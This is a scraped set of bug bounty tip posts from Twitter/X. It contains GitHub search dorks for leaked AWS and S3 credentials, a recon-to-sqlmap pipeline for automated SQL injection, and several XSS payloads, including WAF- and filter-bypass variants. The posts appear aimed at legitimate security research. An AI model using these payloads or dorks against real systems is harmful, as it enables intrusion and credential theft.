Ankit kumar

[ASecurity @asecurityinfo]

A complete guide to words Github Dork
#BugBounty #bugbountytips #githubdork

Auth by @Ankit_620

https://t.co/8Zjp9F42Tk

[ayush khatkar :) @ayush0x01]

A Great guide to words githubdork
#bugbountytips #BugBounty Auth by @Ankit_620

[Ankit kumar @Ankit_620]

@krrohit210302 please provide me sir

[Ankit kumar @Ankit_620]

@deepakunique sql

[Ankit kumar @Ankit_620]

@SamirGondaliya6 which bug???

[Ninad Mishra @NinadMishra5]

Github

org:Target "bucket_name"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "S3_BUCKET"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_SECRET_ACCESS_KEY"
org:Target "S3_ENDPOINT"
Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"

credit:@hunter0x7

[HackerContent @hacker_content]

5 techniques to bypassing XSS detection in WAFs in 2̶0̶2̶2̶ 2023 with @VolkisAU 🐺

🥷 Multi-Reflection Exploits
🥷 Utilising Multiple Parameters
🥷 Abusing Many Contexts
🥷 Server Assisted Bypasses
🥷 Browser Quirks

#HackerContentBlogs

https://t.co/jrMDZeMOn5

[H4x0r.DZ @h4x0r_dz]

A nice tricks to bypass 403/401.
#BugBounty #bugbountytips

[Intigriti @intigriti]

Can you spot the vulnerability? 🔎

Show us how you'd pop an XSS with ANY payload in the comments 👇

The most complete answer gets a 25€ SWAG voucher! 🎫

[Ayadim @ayadim_]

#bugbounty
I create a #nuclei template that "Analyse" js files for bug bounty hunters :
- Extract Tokens.
- Extract endpoints.
- Extract URLs.
- Extract Variables names.
(All in one)
Enjoy !!
https://t.co/Tmm02mnRYM

[Ninad Mishra @NinadMishra5]

find sql injection!!

credit:@Spy0x7

subfinder -d target | tee -a domains
cat domain | httpx | tee -a alive.txt
cat alive.txt | waybackurls | tee -a urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch

happy hacking
#bugbountytip #BugBounty

[hex0x42424242 @hex0x42424242]

Top XSS for hunters!

''."><svg/on</script>load=alert'1'>
"/><img%20src%3Dx%20onerror%3D"alert%28%27XSS%27%29">
'">%0D%0A%0D%0A<svg/onload=alert(1);>
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
"/><img src=x onerror="alert('XSS')">

#BugBounty #bugbountytip #Pentesting #Hacking

[Dr. Rohit Gautam @aslicyberguy]

@CristiVlad25 Fuzz Default Creds
SQL Injection
Tech Detect to identify Old Software exploits
XSS in inputs
Fuzz for forced browsing
View Source for JS files for endpoints/creds

[ႢႭႹႠ ႭႵႰႠႻႤ გოჩა ოქრაძე (Gocha Okradze) @GochaOqradze]

#XSS #bugbountytips
Again Cloudflare XSS bypass
Payload: <svg onload=%0Aalert`1`>

[Professor the Hunter @bughuntar]

Awesome XSS payload. Use this to bypass filter.😍

"/><svg onauxclick=&#x63&#x6F&#x5C&#x75&#x30&#x30&#x36&#x65&#x66&#x69&#x72&#x6D(\\1\\)>

[Professor the Hunter @bughuntar]

25 Javascript path files you should check...

[Professor the Hunter @bughuntar]

403 Bypass tricks...

[Vincent Yiu @vysecurity]

Trick to use any Cloudflare website to get your egress IP. Access the https://<website>/cdn-cgi/trace, and grep "ip".

[Karim Habeeb @NoRed0x]

bypass alert ==> [alert][0].call(this,1)

#bugbounty #bugbountytips #bugbountytip

[Ankit kumar @Ankit_620]

my first bug which i report today😊
lets see what happen......
bug: information discloser.
#bugbountytips #asecurity #BugBounty